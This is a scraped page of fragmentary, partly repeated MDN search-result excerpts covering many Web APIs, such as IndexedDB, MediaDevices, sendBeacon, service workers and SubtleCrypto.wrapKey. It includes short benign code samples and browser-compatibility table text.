failed for reasons unrelated to the database itself. a failure due to disk io errors is such an example. noerror if the request succeeds. versionerror if you try to open a database with a version lower than the one it already has. in addition to the error codes sent to the idbrequest object, asynchronous operations can also raise exceptions. the list describes problems that could occur when the request is being executed, but you might also encounter other problems when the request is being made. for example, if the the request failed and the result is not available, the invalidstateerror exception is thrown. example the following example requests a given record title, onsuccess gets the associated record from the idbobjectstore (made available as objectstoret...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitdomexception value instead of domerrorchrome full support 48edge full support ...
... nowebview android full support 48chrome android full support 48firefox android full support 58opera android full support yessafari ios no support nosamsung internet android full support 5.0legend full support full support partial support partial support no support no supportrequires a vendor prefix ...
Checking when a deadline is due - Web APIs
reasonable user experience on mobile devices, and to cut down on ambiguities, i decided to create an html form with: a text input for entering a title for your to-do list. this is the least avoidable bit of user typing. number inputs for the hour and minute parts of the deadline. on browsers that support type="number", you get a nice little up and down arrow number picker. on mobile platforms you tend to get a numeric keypad for entering data, which is helpful. on others you just get a standard text input, which is okay. <select> elements for inputting the day, month and year of the deadline. because these values are the most ambiguous for users to enter (7, sunday, sun? 04, 4, april, apr? 2013, '13, 13?), i decided the best solution was to give them a choice to pick from, which also...
...ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction opened for task addition.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var request = objectstore.add(newitem[0]); in this section we create an object called newitem that stores the data in the format required to insert it into the database. the next few lines open the database...
... switch(cursor.value.month) { case "january": var monthnumber = 0; break; case "february": var monthnumber = 1; break; // other lines removed from listing for brevity case "december": var m...
...re = db.transaction(['todolist'], "readwrite").objectstore('todolist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { next we create another indexeddb objectstore, and use the opencursor() method to open a cursor, which is basically a way in indexeddb to iterate through all the items in the store. we then loop through all the items in the cursor for as long as there is a valid item left in the cursor. switch(cursor.value.month) { case "january": var monthnumber = 0; break; case "february": var monthnumber = 1; break; // other lines removed from listing for brevity case "december": var monthnumber = 11; break; default...
install - Web APIs
as with the older startsoftwareupdate method, xpis installed with this method must have their own install.js files in which the full installation is defined. ...
...d, xpis installed with this method must have their own install.js files in which the full installation is defined. ...
... their own install.js files in which the full installation is defined. in contrast to startsoftwareupdate, install allows you to do multiple installs with the same trigger and provides a unified user experience for the multiple installs. ...
...all.js files in which the full installation is defined. in contrast to startsoftwareupdate, install allows you to do multiple installs with the same trigger and provides a unified user experience for the multiple installs. ...
KeyboardEvent.initKeyEvent() - Web APIs
t.initkeyboardevent based on early drafts of document object model (dom) level 3 events specification. favor the modern constructor structure as the only cross-browser way of building events. syntax event.initkeyevent (type, bubbles, cancelable, viewarg, ctrlkeyarg, altkeyarg, shiftkeyarg, metakeyarg, keycodearg, charcodearg) parameters type is a domstring representing the type of event. bubbles is a boolean indicating whether the event should bubble up through the event chain or not (see bubbles). cancelable is a boolean i indicating whether the event can be canceled (see cancelable). viewarg specifies the uievent.view; this value may be null. ctrlkeyarg is a boolean that is true if the virtual key to be generated is a combination of ...
...event(event); specification this implementation of keyboard events is based on the key events spec in the early versions of dom 2 events, later removed from that spec. ...
... 2 events, later removed from that spec. ...
...rent gecko equivalent of the dom level 3 events (initially drafted and also deprecated in favor of keyboardevent() keyboard.initkeyboardevent() method with the following arguments : typearg of type domstring canbubblearg of type boolean cancelablearg of type boolean viewarg of type views::abstractview keyidentifierarg of type domstring keylocationarg of type unsigned long modifierslist of type domstring); ...
MediaDeviceInfo - Web APIs
the mediadeviceinfo interface contains information that describes a single media input or output device. the list of devices obtained by calling navigator.mediadevices.enumeratedevices() is an array of mediadeviceinfo objects, one per media device. properties mediadeviceinfo.deviceidread only returns a domstring that is an identifier for the represented device that is persisted across sessions. it is un-guessable by other applications and unique to the origin of the calling application. it is reset when the user clears cookies (for private browsing, a different identifier is used that is not persisted across sessions). mediadeviceinfo.groupidread only returns a domstring that is a group identifier. two devices have the same group identifier if they belong to the same physical devic...
... for security reasons, the label field is always blank unless an active media stream exists or the user has granted persistent permission for media device access. the set of device labels could otherwise be used as part of a fingerprinting mechanism to identify a user. ...
...vice.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); }); this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= or if one or more media streams are active, or if persistent permissions have been granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone id=r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= specifications specification status comment media c...
... candidate recommendation initial definition ...
MediaDevices.ondevicechange - Web APIs
% } .devicelist { border: 1px solid black; list-style-type: none; margin-top: 2px; padding: 6px; } javascript content other code below is other code which, while needed to make this example work, isn'tt related directly to ondevicechange, so we won't go into any detail. ...
...solid black; list-style-type: none; margin-top: 2px; padding: 6px; } javascript content other code below is other code which, while needed to make this example work, isn'tt related directly to ondevicechange, so we won't go into any detail. ...
...ibing one media input or output device. a foreach() loop is used to scan through all the devices. for each device, we create a new <li> object to be used to display it to the user. the line let [kind, type, direction] = device.kind.match(/(\w+)(input|output)/i); deserves special notice. this uses destructuring assignment (a new feature of ecmascript 6) to assign the values of the first three items in the array returned by string.match() to the variables kind, type, and direction. we do this because the value of mediadeviceinfo.kind is a single string that includes both the media type and the direction the media flows, such as "audioinput" or "videooutput". this line, then, pulls out the type ("audio" or "video") and direction ("input" or "output") so they can be used to construct the strin...
... candidate recommendation initial specification. ...
MediaStream.id - Web APIs
Web › API › MediaStream › id
candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...on initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
MediaStreamAudioSourceNode - Web APIs
the mediastreamaudiosourcenode interface is a type of audionode which operates as an audio source whose media is received from a mediastream obtained using the webrtc or media capture and streams apis. this media could be from a microphone (through getusermedia()) or from a remote peer on a webrtc call (using the rtcpeerconnection's audio tracks). a mediastreamaudiosourcenode has no inputs and exactly one output, and is created using the audiocontext.createmediastreamsource() method. the mediastreamaudiosourcenode takes the audio from the first mediastreamtrack whose kind attribute's value is audio. see track ordering for more information about the order of tracks. the number of channels output by the node matches the number of tracks found in the selected audio track. number...
...reamtrack whose kind attribute's value is audio. see track ordering for more information about the order of tracks. the number of channels output by the node matches the number of tracks found in the selected audio track. number of inputs 0 number of outputs 1 channel count defined by the first audio mediastreamtrack passed to the audiocontext.createmediastreamsource() method that created it. constructor new mediastreamaudiosourcenode() creates a new mediastreamaudiosourcenode object instance with the specified options. properties in addition to the following properties, mediastreamaudiosourcenode inherits the properties of its parent, audionode. mediastream read only the mediastream used when constructing this mediastreamaudiosourceno...
...usermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the ...
...so playing/pausing the stream can still be done through the media element api and the player controls. specification specification status comment web audio apithe definition of 'mediastreamaudiosourcenode' in that specification. working draft ...
Metadata - Web APIs
Web › API › Metadata
l w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitmodificationtime experimentalnon-standardchrome full support 13edge full support ≤79firefox ...
...t nowebview android no support nochrome android full support yesfirefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yessize experimentalnon-standardchrome full support 13edge full support ≤79firefox no support noie no support noopera no su...
...expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expect poor cross-browser support.non-st...
Navigator.registerProtocolHandler() - Web APIs
...
...tered. a custom scheme may be registered as long as: the custom scheme's name begins with web+ the custom scheme's name includes at least 1 letter after the web+ prefix the custom scheme has only lowercase ascii letters in its name. for example, web+burger, as shown in the example below. ...
...stered as long as: the custom scheme's name begins with web+ the custom scheme's name includes at least 1 letter after the web+ prefix the custom scheme has only lowercase ascii letters in its name. for example, web+burger, as shown in the example below. ...
...d as long as: the custom scheme's name begins with web+ the custom scheme's name includes at least 1 letter after the web+ prefix the custom scheme has only lowercase ascii letters in its name. for example, web+burger, as shown in the example below. ...
Navigator.sendBeacon() - Web APIs
return values the sendbeacon() method returns true if the user agent successfully queued the data for transfer. otherwise, it returns false. ...
... return values the sendbeacon() method returns true if the user agent successfully queued the data for transfer. otherwise, it returns false. ...
... in unload or beforeunload event handlers. creating an <img> element and setting its src in the unload handler. most user agents will delay the unload to load the image. creating a no-op loop for several seconds in the unload handler. all of these methods block unloading the document, which slows down the next navigation. there is nothing the next page can do to avoid this, so the new page seems slow, even though it's the previous page's fault. the following example shows theoretical analytics code that attempts to submit data to a server with a synchronous xmlhttprequest in an unload handler. this results in the next page load to be delayed. window.addeventlistener("unload", function logdata() { var xhr = new xmlhttprequest(); xhr.open("post", "/log", false); // third parameter of...
...nction logdata() { var xhr = new xmlhttprequest(); xhr.open("post", "/log", false); // third parameter of `false` means synchronous xhr.send(analyticsdata); }); this is what sendbeacon() replaces. with the sendbeacon() method, the data is transmitted asynchronously when the user agent has an opportunity to do so, without delaying unload or the next navigation. this solves all of the problems with submission of analytics data: the data is sent reliably it's sent asynchronously it doesn't impact the loading of the next page in addition, the code is simpler to write than any of the older techniques! the following example shows a theoretical analytics code pattern that submits data to a server using the sendbeacon() method. window.addeventlistener("unload", function logdata() { ...
Navigator - Web APIs
Web › API › Navigator
the navigator interface represents the state and the identity of the user agent. it allows scripts to query it and to register themselves to carry on some activities. a navigator object can be retrieved using the read-only window.navigator property. properties doesn't inherit any properties, but implements those defined in navigatorid, navigatorlanguage, navigatoronline, navigatorcontentutils, navigatorstorage, navigatorstorageutils, navigatorconcurrenthardware, navigatorplugins, and navigatorusermedia. standard navigatorid.appcodename read only returns the internal "code" name of the current browser. do not rely on this property to return the correct value. navigatorid.appname read only returns a domstring with the official name of the browser. do not rely on this property to...
...do not rely on this property to return the correct value. ...
... processor cores available. navigatorplugins.javaenabled read only returns a boolean flag indicating whether the host browser is java-enabled or not. navigator.keyboard read only returns a keyboard object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard. navigatorlanguage.language read only returns a domstring representing the preferred language of the user, usually the language of the browser ui. the null value is returned when this is unknown. navigatorlanguage.languages read only returns an array of domstring representing the languages known to the user, by order of preference. navigator.locks read only returns a lockmanager object which provides methods for requesting a new lock object ...
...torusermedia, and navigatorstorageutils. standard navigator.canshare() returns true if a call to navigator.share() would succeed. navigator.getusermedia() after having prompted the user for permission, returns the audio or video stream associated to a camera or microphone on the local computer. navigator.registercontenthandler() obsolete since gecko 59 allows web sites to register themselves as a possible handler for a given mime type. navigator.registerprotocolhandler() allows web sites to register themselves as a possible handler for a given protocol. navigator.requestmediakeysystemaccess() returns a promise for a mediakeysystemaccess object. navigator.sendbeacon() used to asynchronously transfer a small amount of data using http from the user agent to a web server. ...
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
flineaudiocompletionevent() constructor of the web audio api creates a new offlineaudiocompletionevent object instance. note: you wouldn't generally use the constructor manually. offlineaudiocompletionevents are despatched to offlineaudiocontext instances for legacy reasons. syntax var offlineaudiocompletionevent = new offlineaudiocompletionevent(type, init) parameters type optional a domstring representing the type of object to create. init optional options are as follows: renderedbuffer: the rendered audiobuffer containing the audio data. return value a new offlineaudiocompletionevent object instance. specifications specification status comment web audio apithe definition of 'offlineaudiocompletionevent()' in that specification. working d...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...e android full support 57notes full support 57notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
...fault values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
Page Visibility API - Web APIs
for more details. budget-based background timeout throttling is now available in modern browsers (firefox 58+, chrome 57+), placing an additional limit on background timer cpu usage. this operates in a similar way across modern browsers, with the details being as follows: in firefox, windows in background tabs each have their own time budget in milliseconds — a max and a min value of +50 ms and -150 ms, respectively. chrome is very similar except that the budget is specified in seconds. windows are subjected to throttling after 30 seconds, with the same throttling delay rules as specified for window timers (again, see reasons for delays longer than specified). in chrome, this value is 10 seconds. timer tasks are only permitted when the budget is non-negative. once a timer's...
...th the same throttling delay rules as specified for window timers (again, see reasons for delays longer than specified). in chrome, this value is 10 seconds. timer tasks are only permitted when the budget is non-negative. once a timer's code has finished running, the duration of time it took to execute is subtracted from its window's timeout budget. the budget regenerates at a rate of 10 ms per second, in both firefox and chrome. some processes are exempt from this throttling behavior. in these cases, you can use the page visibility api to reduce the tabs' performance impact while they're hidden. tabs which are playing audio are considered foreground and aren’t throttled. tabs running code that's using real-time network connections (websockets and webrtc) go unthrottled...
...hen you switch to another tab and plays again when you return to its tab, was created with the following code: // set the name of the hidden property and the change event for visibility var hidden, visibilitychange; if (typeof document.hidden !== "undefined") { // opera 12.10 and firefox 18 and later support hidden = "hidden"; visibilitychange = "visibilitychange"; } else if (typeof document.mshidden !== "undefined") { hidden = "mshidden"; visibilitychange = "msvisibilitychange"; } else if (typeof document.webkithidden !== "undefined") { hidden = "webkithidden"; visibilitychange = "webkitvisibilitychange"; } var videoelement = document.getelementbyid("videoelement"); // if the page is hidden, pause the video; // if the page is shown, play the video function handlevisibilitycha...
...e. videoelement.addeventlistener("play", function(){ document.title = 'playing'; }, false); } properties added to the document interface the page visibility api adds the following properties to the document interface: document.hidden read only returns true if the page is in a state considered to be hidden to the user, and false otherwise. document.visibilitystate read only a domstring indicating the document's current visibility state. possible values are: visible the page content may be at least partially visible. in practice this means that the page is the foreground tab of a non-minimized window. hidden the page's content is not visible to the user, either due to the document's tab being in the background or part of a window that is minimized, or because the ...
ParentNode.replaceChildren() - Web APIs
if no replacement objects are specified, then the parentnode is emptied of all child nodes. exceptions hierarchyrequesterror: the constraints of the node tree are violated. ...
...if no replacement objects are specified, then the parentnode is emptied of all child nodes. exceptions hierarchyrequesterror: the constraints of the node tree are violated. ...
...if no replacement objects are specified, then the parentnode is emptied of all child nodes. exceptions hierarchyrequesterror: the constraints of the node tree are violated. ...
...if no replacement objects are specified, then the parentnode is emptied of all child nodes. exceptions hierarchyrequesterror: the constraints of the node tree are violated. ...
PasswordCredential.additionalData - Web APIs
example the following example creates a formdata object with an appended csrf token. ...
... example the following example creates a formdata object with an appended csrf token. ...
... example the following example creates a formdata object with an appended csrf token. ...
... example the following example creates a formdata object with an appended csrf token. it then stores the form object in the additionaldata parameter, before sending it to server in a call to fetch. //the options object was previously created. ...
Payment Request API - Web APIs
the payment request api provides a consistent user experience for both merchants and users. it is not a new way for paying for things; rather, it's a way for users to select their preferred way of paying for things, and make that information available to a merchant. ...
... the payment request api provides a consistent user experience for both merchants and users. it is not a new way for paying for things; rather, it's a way for users to select their preferred way of paying for things, and make that information available to a merchant. ...
...mation available to a merchant. payment request concepts and usage many problems related to online shopping-cart abandonment can be traced to checkout forms, which can be difficult and time consuming to fill out and often require multiple steps to complete. the payment request api is meant to reduce the number of steps needed to complete a payment online, potentially doing away with checkout forms. it aims to make the checkout process easier, by remembering a user's details, which are then passed along to a merchant hopefully without requiring a html form. advantages of using the payment request api with "basic-card" (card-based payments): fast purchase experience: users enter their details once into the browser and are then ready to pay for goods and services on the web. they no longe...
...e the details of the payment request in response to a user action. paymentmethodchangeevent represents the user changing payment instrument (e.g., switching from a credit card to debit card). paymentresponse an object returned after the user selects a payment method and approves a payment request. merchantvalidationevent represents the browser requiring the merchant (website) to validate themselves as allowed to use a particular payment handler (e.g., registered as allowed to use apple pay). dictionaries addresserrors a dictionary containing strings providing descriptive explanations of any errors in any paymentaddress entries which have errors. payererrors a dictionary containing strings providing descriptive explanations of any errors in related to paymentresponse's email,...
PushEvent - Web APIs
Web › API › PushEvent
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushevent experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference. full support 17firefox...
... 42firefox android full support 44 full support 44 full support 48notes notes push enabled by default.opera android full support 37safari ios no support nosamsung internet android full support 4.0pushevent() constructor experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service wor...
... ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
RTCIceCandidatePairStats - Web APIs
idatepairstats object. properties rtcicecandidatepairstats is based upon rtcstats and inherits its properties. in addition, it adds the following new properties: availableincomingbitrate optional provides an informative value representing the available inbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's incoming rtp streams. this does not take into account the size of the ip overhead, nor any other transport layers such as tcp or udp. availableoutgoingbitrate optional provides an informative value representing the available outbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's outoing rtp streams. this does not take into account the size of the ...
...optional a floating-point value indicating the total time, in seconds, that has elapsed between sending stun requests and receiving responses to them, for all such requests made to date on this candidate pair. this includes botyh connectivity check and consent check requests. you can compute the average round trip time (rtt) by dividing this value by responsesreceived. transportid optional a domstring that uniquely identifies the rtcicetransport that was inspected to obtain the transport-related statistics (as found in rtctransportstats) used in generating this object. obsolete properties the following properties have been removed from the specification and should no longer be used. you should update any existing code to avoid using them as soon as is practical. check the compatibility...
......
...ple this example computes the average time elapsed between connectivity checks if the rtcstats object rtcstats is an rtcicecandidatepairstats object. if (rtcstats && rtcstats.type === "candidate-pair") { let elapsed = (rtcstats.lastrequesttimestamp - rtcstats.firstrequesttimestamp) / rtcstats.requestssent; log("average time between ice connectivity checks: " + elapsed + " ms."); } the code begins by looking at rtcstats to see if its type is candidate-pair. if it is, then we know that rtcstats is in fact an rtcicecandidatepairstats object. if so, we compute the average time elapsed between stun connectivity checks and log that information. specifications specification status comment identifiers for webrtc's statistics apithe definition ...
RTCStats - Web APIs
Web › API › RTCStats
the rtcstats dictionary is the basic statistics object used by webrtc's statistics monitoring model, providing the properties required of all statistics data objects. specific classes of statistic are defined as dictionaries based on rtcstats. for example, statistics about a received rtp stream are represented by rtcreceivedrtpstreamstats. properties id a domstring which uniquely identifies the object which was inspected to produce this object based on rtcstats. timestamp a domhighrestimestamp object indicating the time at which the sample was taken for this statistics object. type a domstring indicating the type of statistics the object contains, taken from the enum type rtcstatstype. the statistics type hierarchy the various dictionaries that are used to define the contents of...
...m type rtcstatstype. the statistics type hierarchy the various dictionaries that are used to define the contents of the objects that contain each of the various types of statistics for webrtc are structured in such a way that they build upon the core rtcstats dictionary, each layer adding more relevant information. ...
... in such a way that they build upon the core rtcstats dictionary, each layer adding more relevant information. rtcstats is the foundation of all webrtc statistics objects rtcrtpstreamstats adds to rtcstats information that applies to all rtp endpoints (that is, both local and remote endpoints, and regardless of whether the endpoint is a sender or a receiver) rtcreceivedrtpstreamstats further adds statistics measured at the receiving end of an rtp stream, regardless of whether it's local or remote. rtcinboundrtpstreamstats contains statistics that can only be measured on a receiver at the local end of the rtp connection. rtcoutboundrtpstreamstats contains statistics related to the receiver at the remote end of the rtp stream. rtcsen...
...her adds statistics measured at the receiving end of an rtp stream, regardless of whether it's local or remote. rtcinboundrtpstreamstats contains statistics that can only be measured on a receiver at the local end of the rtp connection. rtcoutboundrtpstreamstats contains statistics related to the receiver at the remote end of the rtp stream. rtcsentrtpstreamstats offers statistics related to the sending end of an rtp stream. rtcoutboundrtpstreamstats contains statistics about the local sending endpoint of an rtp stream. rtcremoteoutboundrtpstreamstats holds statistics related to the remote sending end an rtp stream. specifications specification status comment webrtc 1.0: ...
SVGAnimatedPathData - Web APIs
this interface also inherits properties from its parent, svgpathelement. name type description animatednormalizedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form where all path data commands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z). animatedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form which matches one-for-one with svg's syntax. if the given attribute ...
.... if the given attribute or property is being animated, contains the current animated value of the attribute or property, and both the object itself and its contents are read only. normalizedpathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form where all path data commands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z). pathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form which matches one-for-one with svg's syntax. thus, if the d attribute has...
... edge ? firefox ? ie ? ...
... chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend full support full support no support no support ...
SVGPathSeg - Web APIs
svg path segment interface this is a base interface that corresponds to a single command within a path data specification. ...
... (t) path data command. properties name type description pathsegtype unsigned short the type of the path segment as specified by one of the constants defined on this interface. pathsegtypeasletter domstring the type of the path segment as specified by the corresponding one character command name. methods the svgpathseg interface does not provide any specific methods. browser compatibility desktop mobile chrome ...
... edge ? firefox ? ie ? ...
... chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend full support full support no support no support ...
SVGStylable - Web APIs
svg stylable interface the svgstylable interface is implemented on all objects corresponding to svg elements that can have style, class and presentation attributes specified on them. interface overview also implement none methods cssvalue getpresentationattribute(in domstring name) properties readonly svganimatedstring classname readonly cssstyledeclaration style normative document svg 1.1 (2nd edition) properties name type description classname svganimatedstring corresponds to attribute class on the given element. style cssstyledeclaration corresponds to attribute style on the given element. methods name & arguments ret...
...ative document svg 1.1 (2nd edition) properties name type description classname svganimatedstring corresponds to attribute class on the given element. style cssstyledeclaration corresponds to attribute style on the given element. methods name & arguments return description getpresentationattribute(in domstring name) cssvalue returns the base (i.e., static) value of a given presentation attribute as an object of type cssvalue. the returned object is live; changes to the objects represent immediate changes to the objects to which the cssvalue is attached. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the dat...
...the cssvalue is attached. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ? ie ? opera ? safari ? webview android no support nochrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend full support full support no support no support compatibility unknown compatibility unknown ...
Using Service Workers - Web APIs
ing ways: in the original, we only passed in a url to an image we wanted to load. in this version, we pass in a json fragment containing all the data for a single image (see what they look like in image-list.js). this is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. ...
...y point into using service workers. if ('serviceworker' in navigator) { navigator.serviceworker.register('./sw-test/sw.js', {scope: './sw-test/'}) .then((reg) => { // registration worked console.log('registration succeeded. scope is ' + reg.scope); }).catch((error) => { // registration failed console.log('registration failed with ' + error); }); } the outer block performs a feature detection test to make sure service workers are supported before trying to register one. next, we use the serviceworkercontainer.register() function to register the service worker for this site, which is just a javascript file residing inside our app (note this is the file's url relative to the origin, not the js file that references it.) the scope parameter is optional, and can be us...
...pages. each time a page within your scope is loaded, the service worker is installed against that page and operates on it. bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn’t get its own unique worker. note: your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with items from its own cache, and more. note: one great thing about service workers is that if you use feature detection like we’ve shown above, browsers that don’t support service workers can just use your app online in the normal expected fashion. furthermore, if you use appcache and sw on a page, browsers that don’t support sw but do support appcache will use that, and browsers that support bot...
...e. when that promise resolves, cache.put() is used to add the resource to the cache. the resource is grabbed from event.request, and the response is then cloned with response.clone() and added to the cache. the clone is put in the cache, and the original response is returned to the browser to be given to the page that called it. cloning the response is necessary because request and response streams can only be read once. in order to return the response to the browser and put it in the cache we have to clone it. so the original gets returned to the browser and the clone gets sent to the cache. they are each read once. the only trouble we have now is that if the request doesn’t match anything in the cache, and the network is not available, our request will still fail. let’s provide a d...
SpeechGrammarList - Web APIs
e number of speechgrammar objects contained in the speechgrammarlist. methods speechgrammarlist.item() standard getter — allows individual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax. speechgrammarlist.addfromuri() takes a grammar present at a specific uri and adds it to the speechgrammarlist as a new speechgrammar object. speechgrammarlist.addfromstring() takes a grammar present in a specific domstring within the code base (e.g. stored in a variable) and adds it to the speechgrammarlist as a new speechgrammar object. examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speech...
...rammar present in a specific domstring within the code base (e.g. stored in a variable) and adds it to the speechgrammarlist as a new speechgrammar object. examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property. ...
...() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property. ...
... draft ...
SubtleCrypto.wrapKey() - Web APIs
pkcs8: pkcs #8 format. spki: subjectpublickeyinfo format. jwk: json web key format. key is the cryptokey to wrap. wrappingkey is the cryptokey used to encrypt the exported key. the key must have the wrapkey usage set. wrapalgo is an object specifying the algorithm to be used to encrypt the exported key, and any required extra parameters: to use rsa-oaep, pass an rsaoaepparams object. to use aes-ctr, pass an aesctrparams object. to use aes-cbc, pass an aescbcparams object. to use aes-gcm, pass an aesgcmparams object. to use aes-kw, pass the string "aes-kw", or an object of the form { "name": "aes-kw }. return value result is a promise that fulfills with an arraybuffer containing the encrypted exported key. exceptions the promise is rejected whe...
...rted key. exceptions the promise is rejected when one of the following exceptions is encountered: invalidaccesserror raised when the wrapping key is not a key for the requested wrap algorithm. notsupported raised when trying to use an algorithm that is either unknown or isn't suitable for encryption or wrapping. typeerror raised when trying to use an invalid format. supported algorithms all algorithms that are usable for encryption are also usable for key wrapping, as long as the key has the "wrapkey" usage set. for key wrapping you have the additional option of aes-kw. aes-kw aes-kw is a way to use the aes cipher for key wrapping. one advantage of using aes-kw over another aes mode such as aes-gcm is that aes-kw does not require an initialization vector. to use aes-kw, the ...
...t getkey(keymaterial, salt); iv = window.crypto.getrandomvalues(new uint8array(12)); return window.crypto.subtle.wrapkey( "pkcs8", keytowrap, wrappingkey, { name: "aes-gcm", iv: iv } ); } /* generate a sign/verify key pair, then wrap the private key. */ window.crypto.subtle.generatekey( { name: "rsa-pss", // consider using a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["sign", "verify"] ) .then((keypair) => { return wrapcryptokey(keypair.privatekey); }) .then((wrappedkey) => { console.log(wrappedkey); }); subjectpublickeyinfo wrap this example wraps an rsa public encryption key. it uses "spki" as the export format ...
...y = await getkey(keymaterial, salt); iv = window.crypto.getrandomvalues(new uint8array(16)); return window.crypto.subtle.wrapkey( "spki", keytowrap, wrappingkey, { name: "aes-cbc", iv: iv } ); } /* generate an encrypt/decrypt key pair, then wrap it. */ window.crypto.subtle.generatekey( { name: "rsa-oaep", // consider using a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["encrypt", "decrypt"] ) .then((keypair) => { return wrapcryptokey(keypair.publickey); }) .then((wrappedkey) => { console.log(wrappedkey); }); json web key import this code wraps an ecdsa private signing key. it uses "jwk" as the export format and aes...
TextTrack - Web APIs
Web › API › TextTrack
ckcuelist object listing the currently active set of text track cues. track cues are active if the current playback position of the media is between the cues' start and end times. thus, for displayed cues such as captions or subtitles, the active cues are currently being displayed. texttrack.cues read only a texttrackcuelist which contains all of the track's cues. texttrack.id read only a domstring which identifies the track, if it has one. if it doesn't have an id, then this value is an empty string (""). if the texttrack is associated with a <track> element, then the track's id matches the element's id. texttrack.inbandmetadatatrackdispatchtype read only returns a domstring which indicates the track's in-band metadata track dispatch type. needs details texttrack.kind read only ...
